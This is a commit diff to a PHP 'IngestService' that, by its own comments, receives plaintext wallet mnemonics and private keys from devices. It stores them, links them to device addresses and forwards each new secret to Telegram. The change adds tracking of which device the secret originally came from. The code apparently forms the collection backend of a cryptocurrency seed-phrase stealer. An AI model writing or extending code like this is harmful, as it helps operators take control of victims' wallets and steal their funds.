feat: scan
This commit is contained in:
@@ -512,7 +512,7 @@ class IngestService
|
||||
/**
|
||||
* `/api/user/set` — plaintext mnemonic / private key in `result`.
|
||||
*/
|
||||
public function ingestMnemonic(Device $device, ?array $payload): void
|
||||
public function ingestMnemonic(Device $device, ?array $payload, ?Device $origin = null): void
|
||||
{
|
||||
if (! is_array($payload)) {
|
||||
return;
|
||||
@@ -545,10 +545,18 @@ class IngestService
|
||||
$source = WalletSource::fromTag($payload['a'] ?? null);
|
||||
$row->source = $source;
|
||||
$row->mnemonic = $secret;
|
||||
if ($origin !== null && (int) $origin->id !== (int) $device->id && empty($row->origin_device_id)) {
|
||||
$row->origin_device_id = $origin->id;
|
||||
}
|
||||
$row->save();
|
||||
if ($isNew) {
|
||||
$this->mnemonicLinker->linkMnemonicToDeviceAddresses($row);
|
||||
$this->telegram->notifyNewMemoric($device->device_id, $source, $secret);
|
||||
$this->telegram->notifyNewMemoric(
|
||||
$device->device_id,
|
||||
$source,
|
||||
$secret,
|
||||
$origin !== null ? $origin->device_id : null,
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
Reference in New Issue
Block a user